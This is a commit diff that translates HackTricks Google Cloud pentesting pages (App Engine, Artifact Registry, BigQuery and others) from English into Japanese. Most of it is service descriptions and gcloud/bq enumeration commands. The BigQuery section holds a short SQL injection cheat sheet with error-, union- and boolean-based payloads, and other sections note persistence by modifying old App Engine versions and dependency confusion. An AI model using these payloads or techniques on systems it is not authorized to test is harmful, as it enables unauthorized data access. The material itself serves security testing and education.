Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:16:19 +00:00
parent 7770a50092
commit ea3a11546a
244 changed files with 8714 additions and 11561 deletions

View File

@@ -1,6 +1 @@
# GCP - Services
# GCP - サービス

View File

@@ -4,10 +4,9 @@
## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**.
There are a few areas here you can look for interesting information like models and jobs.
Google [**AI Platform**](https://cloud.google.com/ai-platform/) は、**機械学習プロジェクト**のための別の「**サーバーレス**」オファリングです。
ここには、モデルやジョブなどの興味深い情報を探すことができるいくつかの領域があります。
```bash
# Models
gcloud ai-platform models list
@@ -18,9 +17,4 @@ gcloud ai-platform models get-iam-policy <model>
gcloud ai-platform jobs list
gcloud ai-platform jobs describe <job>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,47 +2,41 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data.
Google Cloud Platform (GCP) では、API キーは **アプリケーションを識別する単純な暗号化された文字列** です。これは **ユーザーコンテキストを必要としない Google Cloud APIs** にアクセスするために使用されます。つまり、アプリケーションがユーザーデータではなく、自身のデータにアクセスするシナリオでよく使用されます。
### Restrictions
### 制限
You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP.
API キーに **制限を適用することができます** 以てセキュリティを強化します。たとえば、特定の **IP アドレス、ウェブ、Android アプリ、iOS アプリ** のみで使用されるようにキーを制限したり、GCP 内の **特定の API やサービス** に制限したりできます。
### Enumeration
It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe:
### 列挙
API キーの **制限を確認することが可能です** GCP API エンドポイントの制限を含む) verbs list または describe を使用して:
```bash
gcloud services api-keys list
gcloud services api-keys describe <key-uuid>
gcloud services api-keys list --show-deleted
```
> [!NOTE]
> It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys.
> 削除されたキーは30日が経過する前に復元可能であるため、削除されたキーをリストすることができます。
### Privilege Escalation & Post Exploitation
### 権限昇格とポストエクスプロイト
{{#ref}}
../gcp-privilege-escalation/gcp-apikeys-privesc.md
{{#endref}}
### Unauthenticated Enum
### 認証されていない列挙
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-api-keys-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,59 +2,56 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
## 基本情報 <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
Google Cloud Platform's (GCP) App Engine is a **robust, serverless platform tailored for the development and hosting of web applications on a large scale**. The design of this platform focuses on streamlining the development process and enhancing the manageability of applications. The key features and benefits of GCP's App Engine include:
Google Cloud PlatformGCP)のApp Engineは、**大規模なウェブアプリケーションの開発とホスティングのために特化した堅牢なサーバーレスプラットフォーム**です。このプラットフォームの設計は、開発プロセスの効率化とアプリケーションの管理性の向上に焦点を当てています。GCPのApp Engineの主な機能と利点は以下の通りです
1. **Serverless Architecture**: App Engine automatically handles the infrastructure, including server provisioning, configuration, and scaling. This allows developers to focus on writing code without worrying about the underlying hardware.
2. **Automatic Scaling**: App Engine can automatically scale your application in response to the amount of traffic it receives. It scales up to handle increased traffic and scales down when traffic decreases, helping optimize cost and performance.
3. **Language and Runtime Support**: It supports popular programming languages such as Java, Python, Node.js, Go, Ruby, PHP, and .NET. You can run your applications in a standard or a flexible environment. The standard environment is more restrictive but highly optimized for specific languages, while the flexible environment allows for more customization.
4. **Integrated Services**: App Engine integrates with many other GCP services, like Cloud SQL, Cloud Storage, Cloud Datastore, and more. This integration simplifies the architecture of cloud-based applications.
5. **Versioning and Traffic Splitting**: You can easily deploy multiple versions of your application and then split traffic among them for A/B testing or gradual rollouts.
6. **Application Insights**: App Engine provides built-in services such as logging, user authentication, and a suite of developer tools for monitoring and managing applications.
7. **Security**: It offers built-in security features like application versioning, SSL/TLS certificates for secure connections, and identity and access management.
1. **サーバーレスアーキテクチャ**App Engineは、サーバーのプロビジョニング、構成、スケーリングを含むインフラストラクチャを自動的に処理します。これにより、開発者は基盤となるハードウェアを気にせずにコードを書くことに集中できます。
2. **自動スケーリング**App Engineは、受信するトラフィックの量に応じてアプリケーションを自動的にスケールできます。トラフィックが増加するとスケールアップし、トラフィックが減少するとスケールダウンすることで、コストとパフォーマンスを最適化します。
3. **言語とランタイムのサポート**JavaPythonNode.js、Go、RubyPHP、.NETなどの人気プログラミング言語をサポートしています。アプリケーションは標準環境または柔軟環境で実行できます。標準環境は制約が多いですが特定の言語に最適化されており、柔軟環境はより多くのカスタマイズが可能です。
4. **統合サービス**App Engineは、Cloud SQLCloud StorageCloud Datastoreなどの他の多くのGCPサービスと統合されています。この統合により、クラウドベースのアプリケーションのアーキテクチャが簡素化されます。
5. **バージョン管理とトラフィックスプリッティング**アプリケーションの複数のバージョンを簡単にデプロイし、A/Bテストや段階的なロールアウトのためにトラフィックを分割できます。
6. **アプリケーションインサイト**App Engineは、ログ記録、ユーザー認証、アプリケーションの監視と管理のための開発者ツールのスイートなどの組み込みサービスを提供します。
7. **セキュリティ**アプリケーションのバージョン管理、SSL/TLS証明書による安全な接続、アイデンティティとアクセス管理などの組み込みセキュリティ機能を提供します。
### Firewall
### ファイアウォール
A simple **firewall** can be configured for the instances running the Apps with the following options:
アプリを実行しているインスタンスのために、以下のオプションでシンプルな**ファイアウォール**を構成できます:
<figure><img src="../../../images/image (246).png" alt=""><figcaption></figcaption></figure>
### SA
The default service account used by these Apps is **`<proj-name>@appspot.gserviceaccount.com`** which have **Editor** role over the project and the SAs inside APP Engine instance **runs with cloud-platform scope (among others).**
これらのアプリで使用されるデフォルトのサービスアカウントは、**`<proj-name>@appspot.gserviceaccount.com`**であり、プロジェクトに対して**Editor**ロールを持ち、APP Engineインスタンス内のSAは**cloud-platformスコープ他のものの中でで実行されます。**
### Storage
### ストレージ
The source code and metadata is **automatically stored in buckets** with names such as `<proj-id>.appspot.com` and `staging.<proj-id>.appspot.com` and `<country>.<proj-id>.appspot.com`
ソースコードとメタデータは、**`<proj-id>.appspot.com`**や**`staging.<proj-id>.appspot.com`**、**`<country>.<proj-id>.appspot.com`**などの名前のバケットに**自動的に保存されます**。
**Every file** of the App is stored with the **sha1 of the content as filename**:
**アプリのすべてのファイル**は、**コンテンツのsha1をファイル名として**保存されます:
<figure><img src="../../../images/image (82).png" alt=""><figcaption></figcaption></figure>
Inside the **`ae`** folder from `staging.<proj-id>.appspot.com`, **one folder per version exist** with the **source code** files and **`manifest.json`** file that **describes the components** of the App:
**`staging.<proj-id>.appspot.com`**の**`ae`**フォルダー内には、**バージョンごとに1つのフォルダーが存在し**、**ソースコード**ファイルと**アプリのコンポーネントを説明する**`manifest.json`**ファイルがあります:
```json
{"requirements.txt":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/a270eedcbe2672c841251022b7105d340129d108","sha1Sum":"a270eedc_be2672c8_41251022_b7105d34_0129d108"},"main_test.py":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/0ca32fd70c953af94d02d8a36679153881943f32","sha1Sum":"0ca32fd7_0c953af9_4d02d8a ...
```
### コンテナ
### Containers
ウェブアプリは最終的に**コンテナ内で実行され**、**Code Build**がコンテナをビルドするために使用されます。
The web app will ultimately be **executed inside a container** and **Code Build** is used to build the container.
### URLとリージョン
### URLs & Regions
**デフォルト**のウェブページはURL**`<project-uniq-name>.appspot.com`**で公開されますが、古いバージョンのURLは少し異なり、例えば**`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`**のようになります(最初のタイムスタンプに注意)。
The **default** web page will be exposed in the URL **`<project-uniq-name>.appspot.com`** although the URL of older versions will be slightly different, like **`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`** (note the initial timestamp).
1つのリージョンに対して1つのアプリエンジンウェブアプリケーションのみをデプロイできるように見えるかもしれませんが、**`app.yml`**に**`service: <servicename>`**を指定することで新しいサービス新しいウェブを作成することが可能です。この新しいウェブのURLの形式は**`<servicename>-dot-<project-uniq-name>.appspot.com`**になります。
It might look like it's only possible to deploy 1 app engine web application per region, but it's possible to indicate **`service: <servicename>`** in the **`app.yml`** and create a new service (a new web). The format of the URL for this new web will be **`<servicename>-dot-<project-uniq-name>.appspot.com`**.
### Enumeration
### 列挙
> [!CAUTION]
> Every time you uploads a new code to the App, **a new version is created**. **All versions are stored** and they even have an **URL to access them**. So modifying the code of an old version could be a **great persistence technique**.
As with Cloud Functions, **there is a chance that the application will rely on secrets that are accessed at run-time via environment variables**. These variables are stored in an **`app.yaml`** file which can be accessed as follows:
> アプリに新しいコードをアップロードするたびに、**新しいバージョンが作成されます**。**すべてのバージョンが保存され**、それらにアクセスするための**URLがあります**。したがって、古いバージョンのコードを変更することは**優れた永続性技術**となる可能性があります。
Cloud Functionsと同様に、**アプリケーションが実行時に環境変数を介してアクセスされる秘密に依存する可能性があります**。これらの変数は**`app.yaml`**ファイルに保存されており、次のようにアクセスできます:
```bash
# List the apps
gcloud app services list
@@ -89,33 +86,28 @@ gcloud app domain-mappings describe <name>
gcloud app ssl-certificates list
gcloud app ssl-certificates describe <name>
```
### Privilege Escalation
### 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-appengine-privesc.md
{{#endref}}
### Unauthenticated Enum
### 認証されていない列挙
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-app-engine-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-app-engine-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,46 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Artifact Registry is a fully managed service that allows you to **manage, store, and secure your software artifacts**. It's essentially a repository for **storing build dependencies**, such as **Docker** images, **Maven**, npm packages, and other types of artifacts. It's **commonly used in CI/CD pipelines** for storing and versioning the artifacts produced during the software development process.
Google Cloud Artifact Registryは、**ソフトウェアアーティファクトを管理、保存、保護する**ための完全に管理されたサービスです。これは、**Docker**イメージ、**Maven**、npmパッケージ、その他のタイプのアーティファクトなど、**ビルド依存関係を保存するためのリポジトリ**です。これは、ソフトウェア開発プロセス中に生成されたアーティファクトを保存およびバージョン管理するために、**CI/CDパイプラインで一般的に使用されます**。
Key features of Artifact Registry include:
Artifact Registryの主な機能は次のとおりです:
1. **Unified Repository**: It supports **multiple types of artifacts**, allowing you to have a single repository for Docker images, language packages (like Javas Maven, Node.jss npm), and other types of artifacts, enabling consistent access controls and a unified view across all your artifacts.
2. **Fully Managed**: As a managed service, it takes care of the underlying infrastructure, scaling, and security, reducing the maintenance overhead for users.
3. **Fine-grained Access Control**: It integrates with Google Clouds Identity and Access Management (IAM), allowing you to define who can access, upload, or download artifacts in your repositories.
4. **Geo-replication**: It supports the replication of artifacts across multiple regions, improving the speed of downloads and ensuring availability.
5. **Integration with Google Cloud Services**: It works seamlessly with **other GCP services like Cloud Build, Kubernetes Engine, and Compute Engine**, making it a convenient choice for teams already working within the Google Cloud ecosystem.
6. **Security**: Offers features like **vulnerability scanning and container analysis** to help ensure that the stored artifacts are secure and free from known security issues.
1. **統一リポジトリ****複数のタイプのアーティファクト**をサポートし、Dockerイメージ、言語パッケージJavaMavenNode.jsのnpmなど、およびその他のタイプのアーティファクトのための単一のリポジトリを持つことができ、一貫したアクセス制御とすべてのアーティファクトに対する統一されたビューを可能にします。
2. **完全管理**:管理されたサービスとして、基盤となるインフラストラクチャ、スケーリング、およびセキュリティを管理し、ユーザーのメンテナンスオーバーヘッドを削減します。
3. **細かいアクセス制御**Google Cloudのアイデンティティおよびアクセス管理IAMと統合され、リポジトリ内のアーティファクトにアクセス、アップロード、またはダウンロードできる人を定義できます。
4. **地理的レプリケーション**:複数のリージョンにわたるアーティファクトのレプリケーションをサポートし、ダウンロードの速度を向上させ、可用性を確保します。
5. **Google Cloudサービスとの統合****Cloud BuildKubernetes EngineCompute Engine**などの**他のGCPサービス**とシームレスに連携し、Google Cloudエコシステム内で作業しているチームにとって便利な選択肢となります。
6. **セキュリティ****脆弱性スキャンやコンテナ分析**などの機能を提供し、保存されたアーティファクトが安全で既知のセキュリティ問題がないことを確認します。
### Formats and Modes
### フォーマットとモード
When creating a new repository it's possible to **select a the format/type** of the repository among several like Docker, Maven, npm, Python... and the mode which usually can be one of these three:
新しいリポジトリを作成する際には、DockerMavennpmPythonなどの中から**リポジトリのフォーマット/タイプを選択**し、通常は次の3つのモードのいずれかを選択できます
- **Standard Repository**: Default mode for **storing your own artifacts** (like Docker images, Maven packages) directly in GCP. It's secure, scalable, and integrates well within the Google Cloud ecosystem.
- **Remote Repository** (if available): Acts as a proxy for **caching artifacts from external**, public repositories. It helps prevent issues from dependencies changing upstream and reduces latency by caching frequently accessed artifacts.
- **Virtual Repository** (if available): Provides a **unified interface to access multiple (standard or remote) repositories** through a single endpoint, simplifying client-side configuration and access management for artifacts spread across various repositories.
- For a virtual repository you will need to **select repositories and give them a priority** (the repo with the largest priority will be used).
- You can **mix remote and standard** repositories in a **virtual** one, if the **priority** of the **remote** is **bigger** than the standard, **packages from remote (PyPi for example) will be used**. This could lead to a **Dependency Confusion.**
- **標準リポジトリ**GCP内で**自分のアーティファクト**Dockerイメージ、Mavenパッケージなどを直接保存するためのデフォルトモードです。安全でスケーラブルであり、Google Cloudエコシステム内でうまく統合されます。
- **リモートリポジトリ**(利用可能な場合):**外部の**公開リポジトリからアーティファクトをキャッシュするためのプロキシとして機能します。上流で依存関係が変更されることによる問題を防ぎ、頻繁にアクセスされるアーティファクトをキャッシュすることでレイテンシを削減します。
- **仮想リポジトリ**(利用可能な場合):**複数の(標準またはリモート)リポジトリにアクセスするための統一インターフェース**を提供し、さまざまなリポジトリに分散されたアーティファクトのクライアント側の構成とアクセス管理を簡素化します。
- 仮想リポジトリでは、**リポジトリを選択し、優先順位を付ける必要があります**(最も優先順位が高いリポジトリが使用されます)。
- **リモート**と**標準**のリポジトリを**仮想**リポジトリで**混在させる**ことができ、**リモートの優先順位**が**標準よりも大きい**場合、**リモートからのパッケージ例えばPyPiが使用されます**。これにより、**依存関係の混乱**が生じる可能性があります。
Note that in the **Remote version of Docker** it's possible to give a username and token to access Docker Hub. The **token is then stored in the Secret Manager**.
**Dockerのリモートバージョン**では、Docker Hubにアクセスするためのユーザー名とトークンを提供することが可能です。**トークンはその後、Secret Managerに保存されます**
### Encryption
### 暗号化
As expected, by default a Google-managed key is used but a Customer-managed key can be indicated (CMEK).
予想通り、デフォルトではGoogle管理のキーが使用されますが、顧客管理のキーCMEKを指定することもできます。
### Cleanup Policies
### クリーンアップポリシー
- **Delete artifacts:** Artifacts will be **deleted according to cleanup policy** criteria.
- **Dry run:** (Default one) Artifacts will **not be deleted**. Cleanup policies will be evaluated, and test delete events sent to Cloud Audit Logging.
- **アーティファクトの削除**:アーティファクトは**クリーンアップポリシー**の基準に従って**削除されます**。
- **ドライラン**:(デフォルト)アーティファクトは**削除されません**。クリーンアップポリシーが評価され、テスト削除イベントがCloud Audit Loggingに送信されます。
### Vulnerability Scanning
### 脆弱性スキャン
It's possible to enable the **vulnerability scanner** which will check for vulnerabilities inside **container images**.
### Enumeration
**コンテナイメージ**内の脆弱性をチェックする**脆弱性スキャナー**を有効にすることが可能です。
### 列挙
```bash
# Get repositories
gcloud artifacts repositories list
@@ -64,33 +63,28 @@ gcloud artifacts sbom list
gcloud artifacts vulnerabilities list us-east1-docker.pkg.dev/project123/repository123/someimage@sha256:49765698074d6d7baa82f
gcloud artifacts docker images list-vulnerabilities projects/<proj-name>/locations/<location>/scans/<scan-uuid>
```
### Privilege Escalation
### 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
{{#endref}}
### Unauthenticated Access
### 認証されていないアクセス
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
{{#endref}}
### Post-Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,16 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations.
**Google Cloud Platform (GCP) バッチサービス**は、**大規模なバッチコンピューティングワークロード**を実行するために設計されており、バッチジョブの管理、スケジューリング、および実行を自動化します。このサービスは、ユーザーがプレエンプティブルVMを活用できるようにし、他のGCPサービスとシームレスに統合されることで、運用を簡素化し、コストを最適化します。データ処理、財務モデリング、科学シミュレーションに最適です。
### Service Account
### サービスアカウント
Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually).
## Enumeration
現在バッチジョブが実行されるSAを選択することはできませんが、**コンピュートSAを使用します**(通常はエディタ権限)。
## 列挙
```bash
# List jobs
gcloud batch jobs list
@@ -25,15 +24,10 @@ gcloud batch tasks list --location <location> --job <job-name>
# Gte info of tasks executions
gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num>
```
## Privilege Escalation
## 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-batch-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,62 +2,59 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud BigQuery is a **fully-managed, serverless enterprise data warehouse**, offering capabilities for **analysis over petabytes** of data, thus handling large-scale datasets efficiently. As a Platform as a Service (PaaS), it provides users with infrastructure and tools to facilitate data management without the need for manual oversight.
Google Cloud BigQueryは、**完全管理型のサーバーレスエンタープライズデータウェアハウス**であり、**ペタバイト**のデータに対する**分析機能**を提供し、大規模データセットを効率的に処理します。プラットフォームとしてのサービスPaaSとして、手動の監視なしでデータ管理を容易にするためのインフラとツールをユーザーに提供します。
It supports querying using **ANSI SQL**. The main objects are **datasets** containing **tables** containing SQL **data**.
**ANSI SQL**を使用したクエリをサポートしています。主なオブジェクトは、**テーブル**を含む**データセット**であり、SQL **データ**を含みます。
### Encryption
### 暗号化
By default a **Google-managed encryption key** is used although it's possible to configure a **Customer-managed encryption key (CMEK)**. It's possible to indicate the encryption key per dataset and per table inside a dataset.
デフォルトでは**Google管理の暗号化キー**が使用されますが、**顧客管理の暗号化キーCMEK**を設定することも可能です。データセットごと、テーブルごとに暗号化キーを指定することができます。
### Expiration
### 有効期限
It's possible to indicate an **expiration time in the dataset** so any new table created in this dataset will be **automatically deleted** the specified number of days after creation.
データセットに**有効期限**を指定することができ、このデータセット内で作成された新しいテーブルは、作成後指定された日数が経過すると**自動的に削除**されます。
### External Sources
### 外部ソース
Bigquery is deeply integrated with other Google services. It's possible to load data from buckets, pub/sub, google drive, RDS databases...
Bigqueryは他のGoogleサービスと深く統合されています。バケット、pub/sub、Google DriveRDSデータベースからデータをロードすることが可能です。
### Dataset ACLs
When a dataset is created **ACLs are attached** to give access over it. By default it's given **Owner** privileges over the **user that created** the dataset and then **Owner** to the group **projectOwners** (Owners of the project), **Writer** to the group **projectWriters,** and **Reader** to the group **projectReaders**:
### データセットACL
データセットが作成されると、**ACLが添付され**、アクセス権が付与されます。デフォルトでは、データセットを作成した**ユーザー**に**オーナー**権限が与えられ、その後**プロジェクトのオーナー**グループに**オーナー**、**プロジェクトライター**グループに**ライター**、**プロジェクトリーダー**グループに**リーダー**が与えられます。
```bash
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
```
### テーブル行のアクセス制御
### Table Rows Control Access
It's possible to **control the rows a principal is going to be able to access inside a table** with row access policies. These are defined inside the table using [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
The access policy defines a filter and **only the matching rows** with that filter are going to be **accessible** by the indicated principals.
**プリンシパルがテーブル内でアクセスできる行を制御することが可能です**。これは行アクセスポリシーを使用して定義されます。これらはテーブル内で[**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement)を使用して定義されます。\
アクセスポリシーはフィルターを定義し、**そのフィルターに一致する行のみ**が指定されたプリンシパルによって**アクセス可能**になります。
```sql
# Create
CREATE ROW ACCESS POLICY apac_filter
@@ -70,8 +67,8 @@ CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
@@ -81,40 +78,34 @@ FILTER USING (region = 'US');
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
```
### Columns Access Control
### カラムアクセス制御
<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>
To restrict data access at the column level:
カラムレベルでデータアクセスを制限するには:
1. **Define a taxonomy and policy tags**. Create and manage a taxonomy and policy tags for your data. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. Optional: Grant the **Data Catalog Fine-Grained Reader role to one or more principals** on one or more of the policy tags you created.
3. **Assign policy tags to your BigQuery columns**. In BigQuery, use schema annotations to assign a policy tag to each column where you want to restrict access.
4. **Enforce access control on the taxonomy**. Enforcing access control causes the access restrictions defined for all of the policy tags in the taxonomy to be applied.
5. **Manage access on the policy tags**. Use [Identity and Access Management](https://cloud.google.com/iam) (IAM) policies to restrict access to each policy tag. The policy is in effect for each column that belongs to the policy tag.
1. **分類法とポリシータグを定義する**。データのために分類法とポリシータグを作成および管理します。[https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. オプション作成したポリシータグの1つまたは複数に対して、**データカタログの細かい読み取り者ロールを1人以上の主体に付与する**。
3. **ポリシータグをBigQueryのカラムに割り当てる**。BigQueryでは、スキーマ注釈を使用して、アクセスを制限したい各カラムにポリシータグを割り当てます。
4. **分類法に対してアクセス制御を強制する**。アクセス制御を強制すると、分類法内のすべてのポリシータグに対して定義されたアクセス制限が適用されます。
5. **ポリシータグのアクセスを管理する**。各ポリシータグへのアクセスを制限するために、[アイデンティティとアクセス管理](https://cloud.google.com/iam) (IAM) ポリシーを使用します。ポリシーは、ポリシータグに属する各カラムに対して有効です。
When a user tries to access column data at query time, BigQuery **checks the column policy tag and its policy to see whether the user is authorized to access the data**.
ユーザーがクエリ時にカラムデータにアクセスしようとすると、BigQueryは**カラムポリシータグとそのポリシーを確認して、ユーザーがデータにアクセスする権限があるかどうかを判断します**。
> [!TIP]
> As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
To enforce access control on the taxonomy it's needed to enable the service:
> 要約すると、特定のユーザーに対して特定のカラムへのアクセスを制限するには、**スキーマ内のカラムにタグを追加し、ユーザーのタグへのアクセスを制限して、タグの分類法に対してアクセス制御を強制する**ことができます。
分類法に対してアクセス制御を強制するには、サービスを有効にする必要があります:
```bash
gcloud services enable bigquerydatapolicy.googleapis.com
```
It's possible to see the tags of columns with:
カラムのタグを見ることができます:
```bash
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
```
### Enumeration
### 列挙
```bash
# Dataset info
bq ls # List datasets
@@ -153,81 +144,70 @@ bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
```
### BigQuery SQL Injection
For further information you can check the blog post: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Here just some details are going to be given.
さらなる情報はブログ投稿を確認してください: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)。ここではいくつかの詳細が提供されます。
**Comments**:
**コメント**:
- `select 1#from here it is not working`
- `select 1/*between those it is not working*/` But just the initial one won't work
- `select 1/*between those it is not working*/` しかし最初のものは機能しません
- `select 1--from here it is not working`
Get **information** about the **environment** such as:
**環境**に関する**情報**を取得します:
- Current user: `select session_user()`
- Project id: `select @@project_id`
- 現在のユーザー: `select session_user()`
- プロジェクトID: `select @@project_id`
Concat rows:
行を連結:
- All table names: `string_agg(table_name, ', ')`
- すべてのテーブル名: `string_agg(table_name, ', ')`
Get **datasets**, **tables** and **column** names:
- **Project** and **dataset** name:
**データセット**、**テーブル**、および**カラム**名を取得します:
- **プロジェクト**と**データセット**名:
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
- **Column** and **table** names of **all the tables** of the dataset:
- **データセット**の**すべてのテーブル**の**列**および**テーブル**名:
```sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
```
- **Other datasets** in the same project:
- **同じプロジェクト内の他のデータセット**:
```sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
```
**SQLインジェクションの種類:**
**SQL Injection types:**
- エラーベース - キャスティング: `select CAST(@@project_id AS INT64)`
- エラーベース - ゼロ除算: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
- ユニオンベースbigqueryではALLを使用する必要があります: `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
- ブールベース: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
- 潜在的な時間ベース - 公開データセットの使用例: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
- Error based - casting: `select CAST(@@project_id AS INT64)`
- Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
- Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
- Boolean based: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
- Potential time based - Usage of public datasets example: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
**ドキュメント:**
**Documentation:**
- すべての関数リスト: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- スクリプトステートメント: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
- All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
### Privilege Escalation & Post Exploitation
### 権限昇格 & ポストエクスプロイト
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-bigquery-persistence.md
{{#endref}}
## References
## 参考文献
- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,8 +4,7 @@
